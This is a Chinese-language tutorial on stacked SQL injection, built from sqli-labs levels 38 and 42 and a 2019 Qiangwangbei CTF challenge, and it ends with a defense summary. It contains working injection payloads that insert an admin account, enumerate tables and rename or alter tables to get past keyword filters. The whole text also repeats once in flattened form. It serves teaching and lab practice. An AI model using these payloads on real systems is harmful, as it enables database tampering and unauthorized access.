SQL注入之堆叠注入
字数 1215 2025-08-15 21:32:08

SQL注入之堆叠注入详解

一、堆叠注入基础概念

堆叠注入(Stacked Injection)是一种SQL注入技术,攻击者通过在SQL语句中使用分号(;)分隔,实现一次执行多条SQL语句的目的。

基本原理

  • SQL语句通常以分号(;)作为结束符
  • 如果在分号后追加其他SQL语句,某些数据库系统会将这些语句一起执行
  • 示例:select * from users;DELETE FROM test 先查询user表,然后删除test表

二、堆叠注入实战演示

案例1:sql-libs第38关

  1. 判断注入点:闭合点为单引号(')
  2. 判断列数?id=1' order by 4 %23 判断出3列
  3. 执行堆叠注入
    ?id=-1'; insert into users(id,username,password) values(88,'aaa','bbb')%23
    
  4. 验证结果:虽然页面无回显,但数据库中已成功插入新记录

案例2:sql-libs第42关

  1. 分析防护措施

    $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
    $password = $_POST["login_password"];
    
    • 用户名进行了转义处理
    • 密码直接以POST方式提交,未过滤
  2. 成功注入方式

    • username: aaa
    • password: bbb';insert into users(id,username,password) values(60,'root','root')#
  3. 结果:成功插入管理员账户(root/root)

三、高级案例:[强网杯 2019]随便注

1. 初步探测

  • 注入点:1' 触发报错
  • 列数判断:成功
  • 常规注入尝试:1' union select 1,database(); # 失败,select等关键字被过滤

2. 堆叠注入利用

  1. 查看数据库

    1';show databases; #
    
  2. 查看表

    1';show tables; #
    

    发现两个表:words和1919810931114514

  3. 查看表结构

    0'; show columns from words; #
    0';show columns from `1919810931114514`;#
    

    在1919810931114514表中发现flag列

3. 绕过过滤获取flag

  • 过滤情况:select等关键字被过滤,但alert和rename未被过滤

  • 利用步骤:

    1. 重命名words表
    2. 将1919810931114514表重命名为words
    3. 修改flag字段名为id
  • 完整payload:

    0';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
    
  1. 验证修改

    1';show tables;#
    
  2. 获取flag

    0' or '1'='1
    

四、关键知识点总结

  1. 堆叠注入条件

    • 数据库支持多语句执行(如MySQL)
    • 应用程序未对用户输入进行充分过滤
  2. 常见防护措施

    • 使用参数化查询
    • 对用户输入进行转义处理
    • 限制数据库用户权限
  3. 堆叠注入优势

    • 可以执行任意SQL语句,不限于查询
    • 可以绕过某些关键字过滤
  4. 防御建议

    • 使用PDO或预处理语句
    • 实施最小权限原则
    • 对用户输入进行严格过滤和验证

五、注意事项

  1. 不同数据库对堆叠注入的支持不同:

    • MySQL支持堆叠注入
    • SQL Server在某些配置下支持
    • Oracle通常不支持
  2. 实际应用中:

    • 堆叠注入的成功率取决于数据库配置和应用程序防护
    • 并非所有SQL注入场景都适合使用堆叠注入
  3. 测试时:

    • 注意表名和字段名可能需要使用反引号(`)或单引号(')包裹
    • 注意语句末尾的注释符(#或-- )的使用
SQL注入之堆叠注入详解 一、堆叠注入基础概念 堆叠注入(Stacked Injection)是一种SQL注入技术,攻击者通过在SQL语句中使用分号( ; )分隔,实现一次执行多条SQL语句的目的。 基本原理 SQL语句通常以分号( ; )作为结束符 如果在分号后追加其他SQL语句,某些数据库系统会将这些语句一起执行 示例: select * from users;DELETE FROM test 先查询user表,然后删除test表 二、堆叠注入实战演示 案例1:sql-libs第38关 判断注入点 :闭合点为单引号( ' ) 判断列数 : ?id=1' order by 4 %23 判断出3列 执行堆叠注入 : 验证结果 :虽然页面无回显,但数据库中已成功插入新记录 案例2:sql-libs第42关 分析防护措施 : 用户名进行了转义处理 密码直接以POST方式提交,未过滤 成功注入方式 : username: aaa password: bbb';insert into users(id,username,password) values(60,'root','root')# 结果 :成功插入管理员账户(root/root) 三、高级案例:[ 强网杯 2019 ]随便注 1. 初步探测 注入点: 1' 触发报错 列数判断:成功 常规注入尝试: 1' union select 1,database(); # 失败,select等关键字被过滤 2. 堆叠注入利用 查看数据库 : 查看表 : 发现两个表:words和1919810931114514 查看表结构 : 在1919810931114514表中发现flag列 3. 绕过过滤获取flag 过滤情况:select等关键字被过滤,但alert和rename未被过滤 利用步骤: 重命名words表 将1919810931114514表重命名为words 修改flag字段名为id 完整payload: 验证修改 : 获取flag : 四、关键知识点总结 堆叠注入条件 : 数据库支持多语句执行(如MySQL) 应用程序未对用户输入进行充分过滤 常见防护措施 : 使用参数化查询 对用户输入进行转义处理 限制数据库用户权限 堆叠注入优势 : 可以执行任意SQL语句,不限于查询 可以绕过某些关键字过滤 防御建议 : 使用PDO或预处理语句 实施最小权限原则 对用户输入进行严格过滤和验证 五、注意事项 不同数据库对堆叠注入的支持不同: MySQL支持堆叠注入 SQL Server在某些配置下支持 Oracle通常不支持 实际应用中: 堆叠注入的成功率取决于数据库配置和应用程序防护 并非所有SQL注入场景都适合使用堆叠注入 测试时: 注意表名和字段名可能需要使用反引号( ` )或单引号(')包裹 注意语句末尾的注释符(#或-- )的使用